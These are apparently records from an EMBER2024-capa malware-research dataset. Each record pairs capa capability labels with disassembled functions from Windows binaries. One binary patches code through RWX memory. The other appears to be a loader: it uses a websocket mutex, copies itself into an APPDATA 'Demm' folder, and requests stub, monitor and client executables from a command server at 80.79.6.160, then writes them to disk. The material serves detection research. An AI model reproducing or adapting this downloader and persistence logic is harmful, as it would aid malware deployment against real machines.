joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10075cc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x101be008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
mov ebx, edx
push edi
add esi, dword [0x101dedc0]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ecx, [ebp - 8]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push edi
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10075d21
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007d6e4
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x10075d42
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x10075d63
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x10075d63
mov eax, dword [esi + 0xc]
test byte [esi + 0x14], 1
mov dword [edi], eax
je 0x10075d5d
mov ax, word [esi + 0x10]
mov word [edi + 4], ax
mov al, byte [esi + 0x12]
mov byte [edi + 6], al
jmp 0x10075d63
mov al, byte [esi + 0x10]
mov byte [edi + 4], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov cl, byte [esi + 0x14]
and bl, 1
and cl, 0xfd
mov al, bl
add al, al
shl bl, 2
or cl, al
xor eax, eax
and cl, 0xfb
or cl, bl
mov byte [esi + 0x14], cl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007d6e4
mov esp, ebp
pop ebp
ret
Function at 0x10075dc0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [0x101dedc8]
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 4], edi
mov ebx, ecx
test edx, edx
je 0x10075eb1
mov eax, dword [0x101dedc0]
add eax, 0x14
movzx ecx, byte [eax]
shr ecx, 1
and ecx, 1
cmp ecx, ebx
jne 0x10075e05
inc esi
add eax, 0x2c
cmp esi, edx
jb 0x10075de8
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x10075eb1
xor eax, eax
lea ecx, [ebp - 0x10]
test ebx, ebx
setne al
or edx, 0xffffffff
push eax
call fcn.10075b70
mov ecx, dword [0x101dedc8]
add esp, 4
cmp esi, ecx
jae 0x10075e65
imul edi, esi, 0x2c
mov eax, dword [0x101dedc0]
movzx eax, byte [edi + eax + 0x14]
shr eax, 1
and eax, 1
cmp eax, ebx
je 0x10075e5a
mov edx, ebx
mov ecx, esi
call fcn.10075cc0
mov dword [ebp - 4], eax
test eax, eax
jne 0x10075e62
mov ecx, dword [0x101dedc8]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x10075e31
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x10075eb1
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x10075ea2
mov edi, eax
push dword [edi + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10075e96
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x10075e75
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x101db04c]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1007b320
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x101be008]
xor eax, esp
mov dword [esp + 0x60], eax
push esi
push 0x40
lea eax, [esp + 0x24]
mov esi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, 0x20
mov dword [esp + 0x14], 0x67452301
mov dword [esp + 0x24], eax
lea ecx, [esp + 0x2c]
shr eax, 3
mov edx, 0x3f
and eax, 0x3f
mov dword [esp + 0x18], 0xefcdab89
add ecx, eax
mov dword [esp + 0x1c], 0x98badcfe
mov dword [esp + 0x20], 0x10325476
sub edx, eax
mov dword [esp + 0x28], 0
add esp, 0xc
mov dword [esp + 0x20], esi
mov byte [ecx], 0x80
inc ecx
cmp edx, 8
jae 0x1007b3c2
push edx
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x14]
call fcn.1007aca0
push 0x38
lea eax, [esp + 0x30]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
jmp 0x1007b3d1
lea eax, [edx - 8]
push eax
push 0
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
mov dword [esp + 0x58], eax
lea ecx, [esp + 8]
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x5c], eax
call fcn.1007aca0
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0xe]
pop esi
xor ecx, esp
call fcn.1007d6e4
mov esp, ebp
pop ebp
ret

Function at 0x1007d438
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.1007d414
pop esi
leave
ret 8
Function at 0x405440
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1bc
mov eax, dword [0x433060]
xor eax, esp
mov dword [esp + 0x1b8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
call fcn.00406930
test eax, eax
je 0x405569
lea eax, [esp + 0x30]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x405569
mov eax, dword [esp + 0x30]
cmp al, 2
jne 0x405563
shr eax, 8
cmp al, 2
jne 0x405563
push str.The_Winsock_2.2_dll_was_found_okay_n
call fcn.0040c4ca
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
add esp, 4
push 0x64
push 0x435d88
push 0x67
push edi
call esi
push 0x64
push 0x435e58
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00405590
mov ecx, edi
call fcn.00405620
test eax, eax
je 0x405569
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov dword [esp + 0x10], eax
call fcn.00405850
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [esp + 0x14]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x405548
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1c4]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040be14
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4056b0
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x435f50]
test eax, eax
jne 0x4056eb
push 0x10
call fcn.0040c59f
add esp, 4
test eax, eax
je 0x4056e4
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x4056e6
xor eax, eax
mov dword [0x435f50], eax
push esi
mov esi, dword [eax + 4]
test esi, esi
je 0x40570c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret
Function at 0x405850
Capabilities:
Create directory

Disassembly:
push esi
push str.Monitor_stub
push 0x400
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
je 0x4058b0
cmp eax, 0xb7
jne 0x4058a9
push 0
push 0
push 0
push 0xf001f
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
test ecx, ecx
je 0x4058a9
mov dword [ecx], 4
mov eax, dword [str.stop]
push ecx
mov dword [ecx + 4], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.00407000
push 0x3e8
call esi
mov eax, dword [0x435f50]
test eax, eax
jne 0x405904
push 0x10
call fcn.0040c59f
add esp, 4
test eax, eax
je 0x4058fd
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x4058ff
xor eax, eax
mov dword [0x435f50], eax
push 0
push 0
push 0x410
push dword [eax]
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x400
call fcn.0040c474
push 0x400
mov esi, eax
push 0
push esi
call fcn.00414f70
add esp, 0x10
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop esi
ret
Function at 0x405960
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
mov esi, dword [ebx]
mov eax, dword [ebx + 8]
mov edi, dword [ebx + 4]
mov dword [ebp - 4], eax
lea eax, [esi + 1]
push eax
call fcn.0040c474
add esp, 4
mov dword [ebp - 0xc], eax
lea ecx, [edi + 1]
mov byte [eax + esi], 0
push ecx
call fcn.0040c474
mov ecx, dword [ebp - 4]
add esp, 4
inc ecx
mov dword [ebp - 8], eax
mov byte [eax + edi], 0
push ecx
call fcn.0040c474
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push esi
mov byte [ecx + eax], 0
lea ecx, [ebx + 0xc]
push ecx
push dword [ebp - 0xc]
call fcn.0041a5c0
add esp, 0xc
lea eax, [ebx + 0xc]
add eax, esi
push edi
push eax
push dword [ebp - 8]
call fcn.0041a5c0
add esp, 0xc
lea eax, [esi + edi]
mov edi, dword [ebp - 0x10]
add ebx, 0xc
add eax, ebx
push dword [ebp - 4]
push eax
push edi
call fcn.0041a5c0
mov ebx, dword [ebp - 8]
add esp, 0xc
mov ecx, ebx
mov eax, str.SL_SEND_CURL
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405a20
test dl, dl
je 0x405a1c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405a20
add eax, 2
add ecx, 2
test dl, dl
jne 0x405a00
xor eax, eax
jmp 0x405a25
sbb eax, eax
or eax, 1
test eax, eax
jne 0x405a82
push 0x400
call fcn.0040c474
mov esi, eax
mov ecx, 0x10
mov edx, esi
call fcn.004069a0
add esp, 4
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405a7d
push 0
push 0x435e54
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00406b50
mov ecx, ebx
mov eax, str.SL_SEND_CERT
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405ab0
test dl, dl
je 0x405aac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405ab0
add eax, 2
add ecx, 2
test dl, dl
jne 0x405a90
xor eax, eax
jmp 0x405ab5
sbb eax, eax
or eax, 1
mov esi, dword [ebp - 4]
test eax, eax
jne 0x405ac5
mov edx, esi
mov ecx, edi
call fcn.00406bf0
mov ecx, ebx
mov eax, str.SL_SEND_MONITOR
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405af0
test dl, dl
je 0x405aec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405af0
add eax, 2
add ecx, 2
test dl, dl
jne 0x405ad0
xor eax, eax
jmp 0x405af5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x405b02
mov edx, esi
mov ecx, edi
call fcn.00406d90
mov eax, str.SL_SEND_STUB
mov cl, byte [eax]
cmp cl, byte [ebx]
jne 0x405b27
test cl, cl
je 0x405b23
mov cl, byte [eax + 1]
cmp cl, byte [ebx + 1]
jne 0x405b27
add eax, 2
add ebx, 2
test cl, cl
jne 0x405b07
xor eax, eax
jmp 0x405b2c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x405b39
mov edx, esi
mov ecx, edi
call fcn.00406f30
push dword [ebp - 0xc]
call fcn.00401ba0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405b50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, ecx
test ebx, ebx
je 0x405c81
mov eax, dword [0x435f50]
test eax, eax
jne 0x405b9c
push 0x10
call fcn.0040c59f
add esp, 4
test eax, eax
je 0x405b95
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [eax + 0xc], 0
jmp 0x405b97
xor eax, eax
mov dword [0x435f50], eax
mov eax, dword [eax + 0xc]
mov dword [ebp - 8], eax
test eax, eax
je 0x405c81
mov eax, ebx
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405bb0
mov ecx, dword [ebp + 0xc]
sub eax, edx
push esi
add ecx, 0x26
add eax, ecx
push edi
push eax
mov dword [ebp - 4], eax
call fcn.0040c474
mov ecx, dword [str.bear]
mov edi, eax
mov esi, ebx
add esp, 4
mov dword [edi], ecx
mov byte [edi + 4], 2
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x405be2
sub esi, ecx
lea eax, [edi + 9]
push esi
push ebx
push eax
mov dword [edi + 5], esi
call fcn.0041a5c0
mov edx, dword [ebp + 8]
lea ecx, [esi + 9]
mov dword [ecx + edi], 6
add esp, 0xc
mov eax, dword [str.loader]
mov dword [ecx + edi + 4], eax
movzx eax, word [0x42ed38]
mov word [ecx + edi + 8], ax
mov dword [ecx + edi + 0xa], 0xb
movq xmm0, qword [str.NODE_SERVER]
movq qword [ecx + edi + 0xe], xmm0
movzx eax, word [0x42ee50]
mov word [ecx + edi + 0x16], ax
mov al, byte [0x42ee52]
mov byte [ecx + edi + 0x18], al
add ecx, 0x19
mov eax, dword [ebp + 0xc]
mov dword [ecx + edi], eax
test edx, edx
je 0x405c66
push eax
lea eax, [edi + 4]
push edx
add eax, ecx
push eax
call fcn.0041a5c0
add esp, 0xc
push 0
push dword [ebp - 4]
push edi
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405cd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x426a6a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.00423e7e
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x405d76
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.0040d0e1
push 0x430d64
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.0040f510
push edi
push esi
call fcn.0042313e
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040be14
mov esp, ebp
pop ebp
ret 4
Function at 0x4063c0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x426af8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x433060]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp + 0x10]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.004017b0
push dword [ebp + 0xc]
lea eax, [esp + 0x28]
push dword [ebp + 8]
push eax
call fcn.004062f0
add esp, 0x24
mov dword [esp + 0x30], 0
cmp dword [eax + 0x14], 0x10
jb 0x406431
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, esi
lea eax, [esp + 8]
push eax
call fcn.0040d0e1
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x40645a
push dword [esp + 0xc]
call fcn.00401ba0
add esp, 4
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [esi], vtable.std::_System_error.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x406930
Capabilities:
Check mutex on windows

Disassembly:
push esi
mov esi, dword [0x435f50]
test esi, esi
jne 0x406970
push 0x10
call fcn.0040c59f
mov esi, eax
add esp, 4
test esi, esi
je 0x406968
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
jmp 0x40696a
xor esi, esi
mov dword [0x435f50], esi
push str.MUTEX_WEBSOCKET_LOADER
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
pop esi
setne cl
mov eax, ecx
ret

Function at 0x406b50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
push ebx
push esi
push 0x400
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406b86
mov eax, dword [str.ca_bundle.crt]
mov dword [ecx], eax
mov eax, dword [0x42ee0c]
mov dword [ecx + 4], eax
mov eax, dword [0x42ee10]
mov dword [ecx + 8], eax
mov ax, word [0x42ee14]
push esi
mov word [ecx + 0xc], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406bd0
cmp eax, 0x10
je 0x406bd0
mov bl, 1
call fcn.00406ca0
movzx eax, bl
pop esi
pop ebx
pop ecx
ret
push 0
push 0x42ed52
mov ecx, str.LS_DOWN_CERT
xor bl, bl
call fcn.00405b50
add esp, 8
movzx eax, bl
pop esi
pop ebx
pop ecx
ret
Function at 0x406bf0
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push 0x400
mov edi, edx
mov ebx, ecx
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
lea ebx, [ebx]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406c30
mov eax, dword [str.ca_bundle.crt]
push 0
push 0x80
mov dword [ecx], eax
mov eax, dword [0x42ee0c]
push 2
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x42ee10]
push 0
mov dword [ecx + 8], eax
mov ax, word [0x42ee14]
push 0x40000000
push esi
mov word [ecx + 0xc], ax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406c92
push 0
push 0x435e54
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00406ca0
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x406ca0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edi, dword [ebp - 8]
push 0x400
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406d01
mov eax, dword [str.monitor.exe]
mov dword [ecx], eax
mov eax, dword [0x42ee40]
mov dword [ecx + 4], eax
mov eax, dword [0x42ee44]
push esi
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406d4e
cmp eax, 0x10
je 0x406d4e
mov bl, 1
call fcn.00406e40
movzx eax, bl
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040be14
mov esp, ebp
pop ebp
ret
xor bl, bl
mov eax, str.LS_DOWN_MONITOR_X86
test edi, edi
mov ecx, str.LS_DOWN_MONITOR_X64
push 0
push 0x42ed52
cmove ecx, eax
call fcn.00405b50
mov ecx, dword [ebp - 4]
add esp, 8
movzx eax, bl
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040be14
mov esp, ebp
pop ebp
ret
Function at 0x406d90
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push 0x400
mov edi, edx
mov ebx, ecx
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
lea ebx, [ebx]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406dd0
mov eax, dword [str.monitor.exe]
push 0
push 0x80
push 2
push 0
mov dword [ecx], eax
mov eax, dword [0x42ee40]
push 0
mov dword [ecx + 4], eax
mov eax, dword [0x42ee44]
push 0x40000000
push esi
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406e28
push 0
push 0x435e54
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00406e40
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x406e40
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov edi, dword [ebp - 8]
push 0x400
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406ea1
mov eax, dword [str.client.exe]
mov dword [ecx], eax
mov eax, dword [0x42ee1c]
mov dword [ecx + 4], eax
mov ax, word [0x42ee20]
mov word [ecx + 8], ax
mov al, byte [0x42ee22]
push esi
mov byte [ecx + 0xa], al
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x406eed
cmp eax, 0x10
je 0x406eed
mov bl, 1
call fcn.00407200
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x406eef
xor bl, bl
mov eax, str.LS_DOWN_STUB_X86
test edi, edi
push 0x400
mov ecx, str.LS_DOWN_STUB_X64
push str.80.79.6.160_
cmove ecx, eax
call fcn.00405b50
mov ecx, dword [ebp - 4]
add esp, 8
movzx eax, bl
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040be14
mov esp, ebp
pop ebp
ret
Function at 0x406f30
Capabilities:
Write file on windows

Disassembly:
push ebx
push esi
push edi
push 0x400
mov edi, edx
mov ebx, ecx
call fcn.0040c474
add esp, 4
mov esi, eax
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
push str._s_s_
push esi
call fcn.0040c7c9
add esp, 0x10
lea ecx, [esi - 1]
lea ebx, [ebx]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406f70
mov eax, dword [str.client.exe]
push 0
push 0x80
mov dword [ecx], eax
mov eax, dword [0x42ee1c]
push 2
mov dword [ecx + 4], eax
mov ax, word [0x42ee20]
push 0
push 0
mov word [ecx + 8], ax
mov al, byte [0x42ee22]
push 0x40000000
push esi
mov byte [ecx + 0xa], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x406feb
push 0
push 0x435e54
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004073a0
mov eax, 1
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x407000
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x433060]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4070a5
push str.Demm
push str.APPDATA
call fcn.0040cebc
add esp, 4
push eax
lea eax, [ebp - 0x108]
push str._s_s_
push eax
call fcn.0040c7c9
lea eax, [ebp - 0x108]
add esp, 0x10
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x407060
mov ecx, dword [str.loader.exe]
mov dword [eax], ecx
mov ecx, dword [0x42ee34]
mov dword [eax + 4], ecx
mov cx, word [0x42ee38]
mov word [eax + 8], cx
mov cl, byte [0x42ee3a]
mov byte [eax + 0xa], cl
lea eax, [ebp - 0x108]
push 0
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040be14
mov esp, ebp
pop ebp
ret